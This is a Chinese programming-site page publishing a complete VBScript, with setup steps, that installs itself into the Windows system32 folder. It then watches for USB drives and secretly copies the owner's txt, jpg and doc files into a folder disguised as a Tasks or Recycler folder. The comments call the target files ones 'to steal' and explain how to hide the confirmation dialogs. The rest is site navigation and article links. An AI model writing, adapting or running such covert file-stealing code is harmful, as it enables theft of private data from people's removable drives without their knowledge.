自動復(fù)制U盤文件的VBS腳本
以下為演示:
一、設(shè)置
右鍵單擊,選擇編輯
oStr = "txt|jpg|doc" '你要竊取的文件類型,可以自行添加,用“|”隔開
oDistPath = "C:\\windows\\system\\" '保存路徑
oFolderName = "Task" '保存文件夾名稱
oType = 0 '將保存的文件夾進(jìn)行偽裝 1為task文件夾,2為recycler文件夾,0為不偽裝
oOut = 1 '1復(fù)制完畢后退出,0復(fù)制完畢后不退出,繼續(xù)循環(huán)
二、保存后運行
會出現(xiàn)安裝成功對話框,如果不希望出現(xiàn)該對話框,可以將“Msgbox "安裝成功"”注釋掉。
此時腳本已經(jīng)在循環(huán)監(jiān)測U盤的插入
三、插入U盤
U盤插入后,就開始文件的復(fù)制。復(fù)制完成后會出現(xiàn)提示對話框。
如果不希望出現(xiàn)該對話框,可以將 “Msgbox "Windows 錯誤",64”注釋掉
四、尋找文件
此時,文件已經(jīng)在目標(biāo)文件夾中。我將oType 設(shè)置為1,所以該文件夾成了task文件夾,此時雙擊打開是看不到其中的文件的。
這種情況可以通過rar壓縮包瀏覽,將其中的desktop.ini文件刪除,文件夾就會變成普通文件夾。
ww
這時就能打開文件夾看到其中的內(nèi)容。
Copy.log記錄的是原文件及復(fù)制后的文件。
vbs代碼
oStr = "txt|jpg|doc" '文件類型,添加文件類型用“|”隔開
oDistPath = "C:\\windows\\system\\" '保存路徑
oFolderName = "Task" '保存文件夾名稱
oType = 1 '1為task文件夾,2為recycler文件夾,0為不隱藏
oOut = 1 '1復(fù)制完畢后退出,0復(fù)制完畢后不退出,繼續(xù)循環(huán)
'By:白開 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32
'文件夾不存在則創(chuàng)建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'創(chuàng)建記錄文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循環(huán)監(jiān)測移動存儲設(shè)備插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 錯誤",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close
'隱藏文件夾
oHideFolder oDistPath,oFolderName,oType
else '如果是其它目錄,先安裝
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安裝成功"
end if
Set fso=nothing
Set wshell=nothing
'遍歷目錄函數(shù)
Function TreeIt(sPath)
Set oFolder = fso.GetFolder(sPath)
Set oSubFolders = oFolder.Subfolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next
For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
End Function
'復(fù)制文件函數(shù)
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext = fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function
'隱藏文件夾函數(shù)
Sub oHideFolder(oDistPath,oFolderName,oType)
Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing
Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing
End sub
'By:白開 QQ:343229025
上一篇:使用xcacls.vbs(cacls.exe)修改NTFS權(quán)限說明(中文版)第1/2頁
欄 目:vb
下一篇:vba 獲取PPT幻燈片中的所有標(biāo)題的代碼
本文標(biāo)題:自動復(fù)制U盤文件的VBS腳本
本文地址:http://mengdiqiu.com.cn/a1/vb/7497.html
您可能感興趣的文章
- 01-10下載文件到本地運行的vbs
- 01-10飄葉千夫指源代碼,又稱qq刷屏器
- 01-10利用vbscript腳本修改文件內(nèi)容,此適用于自動化的操作中
- 01-10ipclear.vbs源代碼
- 01-10bytes2BSTR
- 01-10whoami.vbs源代碼
- 01-10利用VBS腳本自動創(chuàng)建計算機帳戶的代碼
- 01-10可以定時自動關(guān)機的vbs腳本
- 01-10如何使用腳本鎖定任務(wù)欄?
- 01-10多進(jìn)程的實現(xiàn)投票的vbs腳本


閱讀排行
本欄相關(guān)
- 01-10下載文件到本地運行的vbs
- 01-10飄葉千夫指源代碼,又稱qq刷屏器
- 01-10SendKeys參考文檔
- 01-10什么是一個高效的軟件
- 01-10VBS中的正則表達(dá)式的用法大全 &l
- 01-10exe2swf 工具(Adodb.Stream版)
- 01-10VBS中SendKeys的基本應(yīng)用
- 01-10用VBSCRIPT控制ONSUBMIT事件
- 01-10VBScript教程 第十一課深入VBScript
- 01-10VBScript語法速查及實例說明
隨機閱讀
- 01-10delphi制作wav文件的方法
- 08-05DEDE織夢data目錄下的sessions文件夾有什
- 01-11Mac OSX 打開原生自帶讀寫NTFS功能(圖文
- 01-10使用C語言求解撲克牌的順子及n個骰子
- 08-05dedecms(織夢)副欄目數(shù)量限制代碼修改
- 01-10SublimeText編譯C開發(fā)環(huán)境設(shè)置
- 08-05織夢dedecms什么時候用欄目交叉功能?
- 01-10C#中split用法實例總結(jié)
- 04-02jquery與jsp,用jquery
- 01-11ajax實現(xiàn)頁面的局部加載